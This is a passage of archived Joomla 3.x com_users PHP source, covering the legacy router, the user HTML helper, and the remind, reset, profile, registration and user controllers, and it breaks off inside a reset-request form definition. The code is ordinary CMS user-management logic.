	 * Method to get a route configuration for the resend view.
	 *
	 * @return  mixed  	Integer menu id on success, null on failure.
	 *
	 * @since       1.6
	 * @deprecated  4.0
	 */
	public static function getResendRoute()
	{
		// Get the items.
		$items  = self::getItems();

		// Search for a suitable menu id.
		foreach ($items as $item)
		{
			if (isset($item->query['view']) && $item->query['view'] === 'resend')
			{
				return $item->id;
			}
		}

		return null;
	}

	/**
	 * Method to get a route configuration for the reset view.
	 *
	 * @return  mixed  	Integer menu id on success, null on failure.
	 *
	 * @since       1.6
	 * @deprecated  4.0
	 */
	public static function getResetRoute()
	{
		// Get the items.
		$items  = self::getItems();

		// Search for a suitable menu id.
		foreach ($items as $item)
		{
			if (isset($item->query['view']) && $item->query['view'] === 'reset')
			{
				return $item->id;
			}
		}

		return null;
	}
}
com_users/helpers/legacyrouter.php000060400000013673152453734460013446 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Legacy routing rules class from com_users
 *
 * @since       3.6
 * @deprecated  4.0
 */
class UsersRouterRulesLegacy implements JComponentRouterRulesInterface
{
	/**
	 * Constructor for this legacy router
	 *
	 * @param   JComponentRouterAdvanced  $router  The router this rule belongs to
	 *
	 * @since       3.6
	 * @deprecated  4.0
	 */
	public function __construct($router)
	{
		$this->router = $router;
	}

	/**
	 * Preprocess the route for the com_users component
	 *
	 * @param   array  &$query  An array of URL arguments
	 *
	 * @return  void
	 *
	 * @since       3.6
	 * @deprecated  4.0
	 */
	public function preprocess(&$query)
	{
	}

	/**
	 * Build the route for the com_users component
	 *
	 * @param   array  &$query     An array of URL arguments
	 * @param   array  &$segments  The URL arguments to use to assemble the subsequent URL.
	 *
	 * @return  void
	 *
	 * @since       3.6
	 * @deprecated  4.0
	 */
	public function build(&$query, &$segments)
	{
		// Declare static variables.
		static $items;
		static $default;
		static $registration;
		static $profile;
		static $login;
		static $remind;
		static $resend;
		static $reset;

		// Get the relevant menu items if not loaded.
		if (empty($items))
		{
			// Get all relevant menu items.
			$items = $this->router->menu->getItems('component', 'com_users');

			// Build an array of serialized query strings to menu item id mappings.
			foreach ($items as $item)
			{
				if (empty($item->query['view']))
				{
					continue;
				}

				// Check to see if we have found the resend menu item.
				if (empty($resend) && $item->query['view'] === 'resend')
				{
					$resend = $item->id;

					continue;
				}

				// Check to see if we have found the reset menu item.
				if (empty($reset) && $item->query['view'] === 'reset')
				{
					$reset = $item->id;

					continue;
				}

				// Check to see if we have found the remind menu item.
				if (empty($remind) && $item->query['view'] === 'remind')
				{
					$remind = $item->id;

					continue;
				}

				// Check to see if we have found the login menu item.
				if (empty($login) && $item->query['view'] === 'login' && (empty($item->query['layout']) || $item->query['layout'] === 'default'))
				{
					$login = $item->id;

					continue;
				}

				// Check to see if we have found the registration menu item.
				if (empty($registration) && $item->query['view'] === 'registration')
				{
					$registration = $item->id;

					continue;
				}

				// Check to see if we have found the profile menu item.
				if (empty($profile) && $item->query['view'] === 'profile')
				{
					$profile = $item->id;
				}
			}

			// Set the default menu item to use for com_users if possible.
			if ($profile)
			{
				$default = $profile;
			}
			elseif ($registration)
			{
				$default = $registration;
			}
			elseif ($login)
			{
				$default = $login;
			}
		}

		if (!empty($query['view']))
		{
			switch ($query['view'])
			{
				case 'reset':
					if ($query['Itemid'] = $reset)
					{
						unset($query['view']);
					}
					else
					{
						$query['Itemid'] = $default;
					}
					break;

				case 'resend':
					if ($query['Itemid'] = $resend)
					{
						unset($query['view']);
					}
					else
					{
						$query['Itemid'] = $default;
					}
					break;

				case 'remind':
					if ($query['Itemid'] = $remind)
					{
						unset($query['view']);
					}
					else
					{
						$query['Itemid'] = $default;
					}
					break;

				case 'login':
					if ($query['Itemid'] = $login)
					{
						unset($query['view']);
					}
					else
					{
						$query['Itemid'] = $default;
					}
					break;

				case 'registration':
					if ($query['Itemid'] = $registration)
					{
						unset($query['view']);
					}
					else
					{
						$query['Itemid'] = $default;
					}
					break;

				default:
				case 'profile':
					if (!empty($query['view']))
					{
						$segments[] = $query['view'];
					}

					unset($query['view']);

					if ($query['Itemid'] = $profile)
					{
						unset($query['view']);
					}
					else
					{
						$query['Itemid'] = $default;
					}

					// Only append the user id if not "me".
					$user = JFactory::getUser();

					if (!empty($query['user_id']) && ($query['user_id'] != $user->id))
					{
						$segments[] = $query['user_id'];
					}

					unset($query['user_id']);

					break;
			}
		}

		$total = count($segments);

		for ($i = 0; $i < $total; $i++)
		{
			$segments[$i] = str_replace(':', '-', $segments[$i]);
		}
	}

	/**
	 * Parse the segments of a URL.
	 *
	 * @param   array  &$segments  The segments of the URL to parse.
	 * @param   array  &$vars      The URL attributes to be used by the application.
	 *
	 * @return  void
	 *
	 * @since       3.6
	 * @deprecated  4.0
	 */
	public function parse(&$segments, &$vars)
	{
		$total = count($segments);

		for ($i = 0; $i < $total; $i++)
		{
			$segments[$i] = preg_replace('/-/', ':', $segments[$i], 1);
		}

		// Only run routine if there are segments to parse.
		if (count($segments) < 1)
		{
			return;
		}

		// Get the package from the route segments.
		$userId = array_pop($segments);

		if (!is_numeric($userId))
		{
			$vars['view'] = 'profile';

			return;
		}

		if (is_numeric($userId))
		{
			$db = JFactory::getDbo();
			$query = $db->getQuery(true)
				->select($db->quoteName('id'))
				->from($db->quoteName('#__users'))
				->where($db->quoteName('id') . ' = ' . (int) $userId);
			$db->setQuery($query);
			$userId = $db->loadResult();
		}

		// Set the package id if present.
		if ($userId)
		{
			// Set the package id.
			$vars['user_id'] = (int) $userId;

			// Set the view to package if not already set.
			if (empty($vars['view']))
			{
				$vars['view'] = 'profile';
			}
		}
		else
		{
			JError::raiseError(404, JText::_('JGLOBAL_RESOURCE_NOT_FOUND'));
		}
	}
}
com_users/helpers/html/users.php000060400000013701152453734460013036 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Extended Utility class for the Users component.
 *
 * @since  2.5
 */
class JHtmlUsers
{
	/**
	 * Display an image.
	 *
	 * @param   string  $src  The source of the image
	 *
	 * @return  string  A <img> element if the specified file exists, otherwise, a null string
	 *
	 * @since   2.5
	 */
	public static function image($src)
	{
		$src = preg_replace('#[^A-Z0-9\-_\./]#i', '', $src);
		$file = JPATH_SITE . '/' . $src;

		jimport('joomla.filesystem.path');
		JPath::check($file);

		if (!file_exists($file))
		{
			return '';
		}

		return '<img src="' . JUri::root() . $src . '" alt="" />';
	}

	/**
	 * Displays an icon to add a note for this user.
	 *
	 * @param   integer  $userId  The user ID
	 *
	 * @return  string  A link to add a note
	 *
	 * @since   2.5
	 */
	public static function addNote($userId)
	{
		$title = JText::_('COM_USERS_ADD_NOTE');

		return '<a href="' . JRoute::_('index.php?option=com_users&task=note.add&u_id=' . (int) $userId) . '" class="hasTooltip btn btn-mini" title="'
			. $title . '"><span class="icon-vcard" aria-hidden="true"></span><span class="hidden-phone">' . $title . '</span></a>';
	}

	/**
	 * Displays an icon to filter the notes list on this user.
	 *
	 * @param   integer  $count   The number of notes for the user
	 * @param   integer  $userId  The user ID
	 *
	 * @return  string  A link to apply a filter
	 *
	 * @since   2.5
	 */
	public static function filterNotes($count, $userId)
	{
		if (empty($count))
		{
			return '';
		}

		$title = JText::_('COM_USERS_FILTER_NOTES');

		return '<a href="' . JRoute::_('index.php?option=com_users&view=notes&filter[search]=uid:' . (int) $userId)
			. '" class="hasTooltip btn btn-mini" title="' . $title . '"><span class="icon-filter"></span></a>';
	}

	/**
	 * Displays a note icon.
	 *
	 * @param   integer  $count   The number of notes for the user
	 * @param   integer  $userId  The user ID
	 *
	 * @return  string  A link to a modal window with the user notes
	 *
	 * @since   2.5
	 */
	public static function notes($count, $userId)
	{
		if (empty($count))
		{
			return '';
		}

		$title = JText::plural('COM_USERS_N_USER_NOTES', $count);

		return '<button type="button" data-target="#userModal_' . (int) $userId . '" id="modal-' . (int) $userId . '" data-toggle="modal"'
			. ' class="hasTooltip btn btn-mini" title="' . $title . '">'
			. '<span class="icon-drawer-2" aria-hidden="true"></span><span class="hidden-phone">' . $title . '</span></button>';
	}

	/**
	 * Renders the modal html.
	 *
	 * @param   integer  $count   The number of notes for the user
	 * @param   integer  $userId  The user ID
	 *
	 * @return  string   The html for the rendered modal
	 *
	 * @since   3.4.1
	 */
	public static function notesModal($count, $userId)
	{
		if (empty($count))
		{
			return '';
		}

		$title = JText::plural('COM_USERS_N_USER_NOTES', $count);
		$footer = '<button type="button" class="btn" data-dismiss="modal">'
			. JText::_('JTOOLBAR_CLOSE') . '</button>';

		return JHtml::_(
			'bootstrap.renderModal',
			'userModal_' . (int) $userId,
			array(
				'title'       => $title,
				'backdrop'    => 'static',
				'keyboard'    => true,
				'closeButton' => true,
				'footer'      => $footer,
				'url'         => JRoute::_('index.php?option=com_users&view=notes&tmpl=component&layout=modal&filter[user_id]=' . (int) $userId),
				'height'      => '300px',
				'width'       => '800px',
			)
		);

	}

	/**
	 * Build an array of block/unblock user states to be used by jgrid.state,
	 * State options will be different for any user
	 * and for currently logged in user
	 *
	 * @param   boolean  $self  True if state array is for currently logged in user
	 *
	 * @return  array  a list of possible states to display
	 *
	 * @since  3.0
	 */
	public static function blockStates( $self = false)
	{
		if ($self)
		{
			$states = array(
				1 => array(
					'task'           => 'unblock',
					'text'           => '',
					'active_title'   => 'COM_USERS_USER_FIELD_BLOCK_DESC',
					'inactive_title' => '',
					'tip'            => true,
					'active_class'   => 'unpublish',
					'inactive_class' => 'unpublish',
				),
				0 => array(
					'task'           => 'block',
					'text'           => '',
					'active_title'   => '',
					'inactive_title' => 'COM_USERS_USERS_ERROR_CANNOT_BLOCK_SELF',
					'tip'            => true,
					'active_class'   => 'publish',
					'inactive_class' => 'publish',
				)
			);
		}
		else
		{
			$states = array(
				1 => array(
					'task'           => 'unblock',
					'text'           => '',
					'active_title'   => 'COM_USERS_TOOLBAR_UNBLOCK',
					'inactive_title' => '',
					'tip'            => true,
					'active_class'   => 'unpublish',
					'inactive_class' => 'unpublish',
				),
				0 => array(
					'task'           => 'block',
					'text'           => '',
					'active_title'   => 'COM_USERS_USER_FIELD_BLOCK_DESC',
					'inactive_title' => '',
					'tip'            => true,
					'active_class'   => 'publish',
					'inactive_class' => 'publish',
				)
			);
		}

		return $states;
	}

	/**
	 * Build an array of activate states to be used by jgrid.state,
	 *
	 * @return  array  a list of possible states to display
	 *
	 * @since  3.0
	 */
	public static function activateStates()
	{
		$states = array(
			1 => array(
				'task'           => 'activate',
				'text'           => '',
				'active_title'   => 'COM_USERS_TOOLBAR_ACTIVATE',
				'inactive_title' => '',
				'tip'            => true,
				'active_class'   => 'unpublish',
				'inactive_class' => 'unpublish',
			),
			0 => array(
				'task'           => '',
				'text'           => '',
				'active_title'   => '',
				'inactive_title' => 'COM_USERS_ACTIVATED',
				'tip'            => true,
				'active_class'   => 'publish',
				'inactive_class' => 'publish',
			)
		);

		return $states;
	}
}
com_users/controllers/remind.php000060400000002621152453734460013112 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('UsersController', JPATH_COMPONENT . '/controller.php');

/**
 * Reset controller class for Users.
 *
 * @since  1.6
 */
class UsersControllerRemind extends UsersController
{
	/**
	 * Method to request a username reminder.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	public function remind()
	{
		// Check the request token.
		$this->checkToken('post');

		$model = $this->getModel('Remind', 'UsersModel');
		$data  = $this->input->post->get('jform', array(), 'array');

		// Submit the password reset request.
		$return	= $model->processRemindRequest($data);

		// Check for a hard error.
		if ($return == false && JDEBUG)
		{
			// The request failed.
			// Go back to the request form.
			$message = JText::sprintf('COM_USERS_REMIND_REQUEST_FAILED', $model->getError());
			$this->setRedirect(JRoute::_('index.php?option=com_users&view=remind', false), $message, 'notice');

			return false;
		}

		// To not expose if the user exists or not we send a generic message.
		$message = JText::_('COM_USERS_REMIND_REQUEST');
		$this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false), $message, 'notice');

		return true;
	}
}
com_users/controllers/reset.php000060400000011203152453734460012752 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('UsersController', JPATH_COMPONENT . '/controller.php');

/**
 * Reset controller class for Users.
 *
 * @since  1.6
 */
class UsersControllerReset extends UsersController
{
	/**
	 * Method to request a password reset.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	public function request()
	{
		// Check the request token.
		$this->checkToken('post');

		$app   = JFactory::getApplication();
		$model = $this->getModel('Reset', 'UsersModel');
		$data  = $this->input->post->get('jform', array(), 'array');

		// Submit the password reset request.
		$return	= $model->processResetRequest($data);

		// Check for a hard error.
		if ($return instanceof Exception && JDEBUG)
		{
			// Get the error message to display.
			if ($app->get('error_reporting'))
			{
				$message = $return->getMessage();
			}
			else
			{
				$message = JText::_('COM_USERS_RESET_REQUEST_ERROR');
			}

			// Go back to the request form.
			$this->setRedirect(JRoute::_('index.php?option=com_users&view=reset', false), $message, 'error');

			return false;
		}
		elseif ($return === false && JDEBUG)
		{
			// The request failed.
			// Go back to the request form.
			$message = JText::sprintf('COM_USERS_RESET_REQUEST_FAILED', $model->getError());
			$this->setRedirect(JRoute::_('index.php?option=com_users&view=reset', false), $message, 'notice');

			return false;
		}

		// To not expose if the user exists or not we send a generic message.
		$message = JText::_('COM_USERS_RESET_REQUEST');
		$this->setRedirect(JRoute::_('index.php?option=com_users&view=reset&layout=confirm', false), $message, 'notice');

		return true;
	}

	/**
	 * Method to confirm the password request.
	 *
	 * @return  boolean
	 *
	 * @access	public
	 * @since   1.6
	 */
	public function confirm()
	{
		// Check the request token.
		$this->checkToken('request');

		$app   = JFactory::getApplication();
		$model = $this->getModel('Reset', 'UsersModel');
		$data  = $this->input->get('jform', array(), 'array');

		// Confirm the password reset request.
		$return	= $model->processResetConfirm($data);

		// Check for a hard error.
		if ($return instanceof Exception)
		{
			// Get the error message to display.
			if ($app->get('error_reporting'))
			{
				$message = $return->getMessage();
			}
			else
			{
				$message = JText::_('COM_USERS_RESET_CONFIRM_ERROR');
			}

			// Go back to the confirm form.
			$this->setRedirect(JRoute::_('index.php?option=com_users&view=reset&layout=confirm', false), $message, 'error');

			return false;
		}
		elseif ($return === false)
		{
			// Confirm failed.
			// Go back to the confirm form.
			$message = JText::sprintf('COM_USERS_RESET_CONFIRM_FAILED', $model->getError());
			$this->setRedirect(JRoute::_('index.php?option=com_users&view=reset&layout=confirm', false), $message, 'notice');

			return false;
		}
		else
		{
			// Confirm succeeded.
			// Proceed to step three.
			$this->setRedirect(JRoute::_('index.php?option=com_users&view=reset&layout=complete', false));

			return true;
		}
	}

	/**
	 * Method to complete the password reset process.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	public function complete()
	{
		// Check for request forgeries
		$this->checkToken('post');

		$app   = JFactory::getApplication();
		$model = $this->getModel('Reset', 'UsersModel');
		$data  = $this->input->post->get('jform', array(), 'array');

		// Complete the password reset request.
		$return	= $model->processResetComplete($data);

		// Check for a hard error.
		if ($return instanceof Exception)
		{
			// Get the error message to display.
			if ($app->get('error_reporting'))
			{
				$message = $return->getMessage();
			}
			else
			{
				$message = JText::_('COM_USERS_RESET_COMPLETE_ERROR');
			}

			// Go back to the complete form.
			$this->setRedirect(JRoute::_('index.php?option=com_users&view=reset&layout=complete', false), $message, 'error');

			return false;
		}
		elseif ($return === false)
		{
			// Complete failed.
			// Go back to the complete form.
			$message = JText::sprintf('COM_USERS_RESET_COMPLETE_FAILED', $model->getError());
			$this->setRedirect(JRoute::_('index.php?option=com_users&view=reset&layout=complete', false), $message, 'notice');

			return false;
		}
		else
		{
			// Complete succeeded.
			// Proceed to the login form.
			$message = JText::_('COM_USERS_RESET_COMPLETE_SUCCESS');
			$this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false), $message);

			return true;
		}
	}
}
com_users/controllers/profile.php000060400000013641152453734460013300 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('UsersController', JPATH_COMPONENT . '/controller.php');

/**
 * Profile controller class for Users.
 *
 * @since  1.6
 */
class UsersControllerProfile extends UsersController
{
	/**
	 * Method to check out a user for editing and redirect to the edit form.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	public function edit()
	{
		$app         = JFactory::getApplication();
		$user        = JFactory::getUser();
		$loginUserId = (int) $user->get('id');

		// Get the previous user id (if any) and the current user id.
		$previousId = (int) $app->getUserState('com_users.edit.profile.id');
		$userId     = $this->input->getInt('user_id');

		// Check if the user is trying to edit another users profile.
		if ($userId != $loginUserId)
		{
			$app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'error');
			$app->setHeader('status', 403, true);

			return false;
		}

		$cookieLogin = $user->get('cookieLogin');

		// Check if the user logged in with a cookie
		if (!empty($cookieLogin))
		{
			// If so, the user must login to edit the password and other data.
			$app->enqueueMessage(JText::_('JGLOBAL_REMEMBER_MUST_LOGIN'), 'message');
			$this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false));

			return false;
		}

		// Set the user id for the user to edit in the session.
		$app->setUserState('com_users.edit.profile.id', $userId);

		// Get the model.
		$model = $this->getModel('Profile', 'UsersModel');

		// Check out the user.
		if ($userId)
		{
			$model->checkout($userId);
		}

		// Check in the previous user.
		if ($previousId)
		{
			$model->checkin($previousId);
		}

		// Redirect to the edit screen.
		$this->setRedirect(JRoute::_('index.php?option=com_users&view=profile&layout=edit', false));

		return true;
	}

	/**
	 * Method to save a user's profile data.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function save()
	{
		// Check for request forgeries.
		$this->checkToken();

		$app    = JFactory::getApplication();
		$model  = $this->getModel('Profile', 'UsersModel');
		$user   = JFactory::getUser();
		$userId = (int) $user->get('id');

		// Get the user data.
		$requestData = $app->input->post->get('jform', array(), 'array');

		// Force the ID to this user.
		$requestData['id'] = $userId;

		// Validate the posted data.
		$form = $model->getForm();

		if (!$form)
		{
			JError::raiseError(500, $model->getError());

			return false;
		}

		// Send an object which can be modified through the plugin event
		$objData = (object) $requestData;
		$app->triggerEvent(
			'onContentNormaliseRequestData',
			array('com_users.user', $objData, $form)
		);
		$requestData = (array) $objData;

		// Validate the posted data.
		$data = $model->validate($form, $requestData);

		// Check for errors.
		if ($data === false)
		{
			// Get the validation messages.
			$errors = $model->getErrors();

			// Push up to three validation messages out to the user.
			for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++)
			{
				if ($errors[$i] instanceof Exception)
				{
					$app->enqueueMessage($errors[$i]->getMessage(), 'warning');
				}
				else
				{
					$app->enqueueMessage($errors[$i], 'warning');
				}
			}

			// Unset the passwords.
			unset($requestData['password1'], $requestData['password2']);

			// Save the data in the session.
			$app->setUserState('com_users.edit.profile.data', $requestData);

			// Redirect back to the edit screen.
			$userId = (int) $app->getUserState('com_users.edit.profile.id');
			$this->setRedirect(JRoute::_('index.php?option=com_users&view=profile&layout=edit&user_id=' . $userId, false));

			return false;
		}

		// Attempt to save the data.
		$return = $model->save($data);

		// Check for errors.
		if ($return === false)
		{
			// Save the data in the session.
			$app->setUserState('com_users.edit.profile.data', $data);

			// Redirect back to the edit screen.
			$userId = (int) $app->getUserState('com_users.edit.profile.id');
			$this->setMessage(JText::sprintf('COM_USERS_PROFILE_SAVE_FAILED', $model->getError()), 'warning');
			$this->setRedirect(JRoute::_('index.php?option=com_users&view=profile&layout=edit&user_id=' . $userId, false));

			return false;
		}

		// Redirect the user and adjust session state based on the chosen task.
		switch ($this->getTask())
		{
			case 'apply':
				// Check out the profile.
				$app->setUserState('com_users.edit.profile.id', $return);
				$model->checkout($return);

				// Redirect back to the edit screen.
				$this->setMessage(JText::_('COM_USERS_PROFILE_SAVE_SUCCESS'));

				$redirect = $app->getUserState('com_users.edit.profile.redirect');

				// Don't redirect to an external URL.
				if (!JUri::isInternal($redirect))
				{
					$redirect = null;
				}

				if (!$redirect)
				{
					$redirect = 'index.php?option=com_users&view=profile&layout=edit&hidemainmenu=1';
				}

				$this->setRedirect(JRoute::_($redirect, false));
				break;

			default:
				// Check in the profile.
				$userId = (int) $app->getUserState('com_users.edit.profile.id');

				if ($userId)
				{
					$model->checkin($userId);
				}

				// Clear the profile id from the session.
				$app->setUserState('com_users.edit.profile.id', null);

				$redirect = $app->getUserState('com_users.edit.profile.redirect');

				// Don't redirect to an external URL.
				if (!JUri::isInternal($redirect))
				{
					$redirect = null;
				}

				if (!$redirect)
				{
					$redirect = 'index.php?option=com_users&view=profile&user_id=' . $return;
				}

				// Redirect to the list screen.
				$this->setMessage(JText::_('COM_USERS_PROFILE_SAVE_SUCCESS'));
				$this->setRedirect(JRoute::_($redirect, false));
				break;
		}

		// Flush the data from the session.
		$app->setUserState('com_users.edit.profile.data', null);
	}
}
com_users/controllers/registration.php000060400000015420152453734460014347 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('UsersController', JPATH_COMPONENT . '/controller.php');

/**
 * Registration controller class for Users.
 *
 * @since  1.6
 */
class UsersControllerRegistration extends UsersController
{
	/**
	 * Method to activate a user.
	 *
	 * @return  boolean  True on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function activate()
	{
		$user  	 = JFactory::getUser();
		$input 	 = JFactory::getApplication()->input;
		$uParams = JComponentHelper::getParams('com_users');

		// Check for admin activation. Don't allow non-super-admin to delete a super admin
		if ($uParams->get('useractivation') != 2 && $user->get('id'))
		{
			$this->setRedirect('index.php');

			return true;
		}

		// If user registration or account activation is disabled, throw a 403.
		if ($uParams->get('useractivation') == 0 || $uParams->get('allowUserRegistration') == 0)
		{
			JError::raiseError(403, JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'));

			return false;
		}

		$model = $this->getModel('Registration', 'UsersModel');
		$token = $input->getAlnum('token');

		// Check that the token is in a valid format.
		if ($token === null || strlen($token) !== 32)
		{
			JError::raiseError(403, JText::_('JINVALID_TOKEN'));

			return false;
		}

		// Get the User ID
		$userIdToActivate = $model->getUserIdFromToken($token);

		if (!$userIdToActivate)
		{
			$this->setMessage(JText::_('COM_USERS_ACTIVATION_TOKEN_NOT_FOUND'));
			$this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false));

			return false;
		}

		// Get the user we want to activate
		$userToActivate = JFactory::getUser($userIdToActivate);

		// Admin activation is on and admin is activating the account
		if (($uParams->get('useractivation') == 2) && $userToActivate->getParam('activate', 0))
		{
			// If a user admin is not logged in, redirect them to the login page with an error message
			if (!$user->authorise('core.create', 'com_users') || !$user->authorise('core.manage', 'com_users'))
			{
				$activationUrl = 'index.php?option=com_users&task=registration.activate&token=' . $token;
				$loginUrl      = 'index.php?option=com_users&view=login&return=' . base64_encode($activationUrl);

				// In case we still run into this in the second step the user does not have the right permissions
				$message = JText::_('COM_USERS_REGISTRATION_ACL_ADMIN_ACTIVATION_PERMISSIONS');

				// When we are not logged in we should login
				if ($user->guest)
				{
					$message = JText::_('COM_USERS_REGISTRATION_ACL_ADMIN_ACTIVATION');
				}

				$this->setMessage($message);
				$this->setRedirect(JRoute::_($loginUrl, false));

				return false;
			}
		}

		// Attempt to activate the user.
		$return = $model->activate($token);

		// Check for errors.
		if ($return === false)
		{
			// Redirect back to the home page.
			$this->setMessage(JText::sprintf('COM_USERS_REGISTRATION_SAVE_FAILED', $model->getError()), 'error');
			$this->setRedirect('index.php');

			return false;
		}

		$useractivation = $uParams->get('useractivation');

		// Redirect to the login screen.
		if ($useractivation == 0)
		{
			$this->setMessage(JText::_('COM_USERS_REGISTRATION_SAVE_SUCCESS'));
			$this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false));
		}
		elseif ($useractivation == 1)
		{
			$this->setMessage(JText::_('COM_USERS_REGISTRATION_ACTIVATE_SUCCESS'));
			$this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false));
		}
		elseif ($return->getParam('activate'))
		{
			$this->setMessage(JText::_('COM_USERS_REGISTRATION_VERIFY_SUCCESS'));
			$this->setRedirect(JRoute::_('index.php?option=com_users&view=registration&layout=complete', false));
		}
		else
		{
			$this->setMessage(JText::_('COM_USERS_REGISTRATION_ADMINACTIVATE_SUCCESS'));
			$this->setRedirect(JRoute::_('index.php?option=com_users&view=registration&layout=complete', false));
		}

		return true;
	}

	/**
	 * Method to register a user.
	 *
	 * @return  boolean  True on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function register()
	{
		// Check for request forgeries.
		$this->checkToken();

		// If registration is disabled - Redirect to login page.
		if (JComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0)
		{
			$this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false));

			return false;
		}

		$app   = JFactory::getApplication();
		$model = $this->getModel('Registration', 'UsersModel');

		// Get the user data.
		$requestData = $this->input->post->get('jform', array(), 'array');

		// Validate the posted data.
		$form = $model->getForm();

		if (!$form)
		{
			JError::raiseError(500, $model->getError());

			return false;
		}

		$data = $model->validate($form, $requestData);

		// Check for validation errors.
		if ($data === false)
		{
			// Get the validation messages.
			$errors = $model->getErrors();

			// Push up to three validation messages out to the user.
			for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++)
			{
				if ($errors[$i] instanceof Exception)
				{
					$app->enqueueMessage($errors[$i]->getMessage(), 'error');
				}
				else
				{
					$app->enqueueMessage($errors[$i], 'error');
				}
			}

			// Save the data in the session.
			$app->setUserState('com_users.registration.data', $requestData);

			// Redirect back to the registration screen.
			$this->setRedirect(JRoute::_('index.php?option=com_users&view=registration', false));

			return false;
		}

		// Attempt to save the data.
		$return = $model->register($data);

		// Check for errors.
		if ($return === false)
		{
			// Save the data in the session.
			$app->setUserState('com_users.registration.data', $data);

			// Redirect back to the edit screen.
			$this->setMessage($model->getError(), 'error');
			$this->setRedirect(JRoute::_('index.php?option=com_users&view=registration', false));

			return false;
		}

		// Flush the data from the session.
		$app->setUserState('com_users.registration.data', null);

		// Redirect to the profile screen.
		if ($return === 'adminactivate')
		{
			$this->setMessage(JText::_('COM_USERS_REGISTRATION_COMPLETE_VERIFY'));
			$this->setRedirect(JRoute::_('index.php?option=com_users&view=registration&layout=complete', false));
		}
		elseif ($return === 'useractivate')
		{
			$this->setMessage(JText::_('COM_USERS_REGISTRATION_COMPLETE_ACTIVATE'));
			$this->setRedirect(JRoute::_('index.php?option=com_users&view=registration&layout=complete', false));
		}
		else
		{
			$this->setMessage(JText::_('COM_USERS_REGISTRATION_SAVE_SUCCESS'));
			$this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false));
		}

		return true;
	}
}
com_users/controllers/user.php000060400000003746152453734460012623 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * User controller class.
 *
 * @since  1.6
 */
class UsersControllerUser extends JControllerForm
{
	/**
	 * @var    string  The prefix to use with controller messages.
	 * @since  1.6
	 */
	protected $text_prefix = 'COM_USERS_USER';

	/**
	 * Overrides JControllerForm::allowEdit
	 *
	 * Checks that non-Super Admins are not editing Super Admins.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean  True if allowed, false otherwise.
	 *
	 * @since   1.6
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// Check if this person is a Super Admin
		if (JAccess::check($data[$key], 'core.admin'))
		{
			// If I'm not a Super Admin, then disallow the edit.
			if (!JFactory::getUser()->authorise('core.admin'))
			{
				return false;
			}
		}

		return parent::allowEdit($data, $key);
	}

	/**
	 * Method to run batch operations.
	 *
	 * @param   object  $model  The model.
	 *
	 * @return  boolean  True on success, false on failure
	 *
	 * @since   2.5
	 */
	public function batch($model = null)
	{
		$this->checkToken();

		// Set the model
		$model = $this->getModel('User', '', array());

		// Preset the redirect
		$this->setRedirect(JRoute::_('index.php?option=com_users&view=users' . $this->getRedirectToListAppend(), false));

		return parent::batch($model);
	}

	/**
	 * Function that allows child controller access to model data after the data has been saved.
	 *
	 * @param   JModelLegacy  $model      The data model object.
	 * @param   array         $validData  The validated data.
	 *
	 * @return  void
	 *
	 * @since   3.1
	 */
	protected function postSaveHook(JModelLegacy $model, $validData = array())
	{
		return;
	}
}
com_users/models/forms/reset_request.xml000060400000000771152453734460014606 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset name="default" label="COM_USERS_RESET_REQUEST_LABEL">
		<field 
			name="email"
			type="text"
			label="COM_USERS_FIELD_PASSWORD_RESET_LABEL"
			description="COM_USERS_FIELD_PASSWORD_RESET_DESC"
			class="validate-username"
			filter="email"
			required="true"
			size="30"
		/>

		<field
			name="captcha"
			type="captcha"
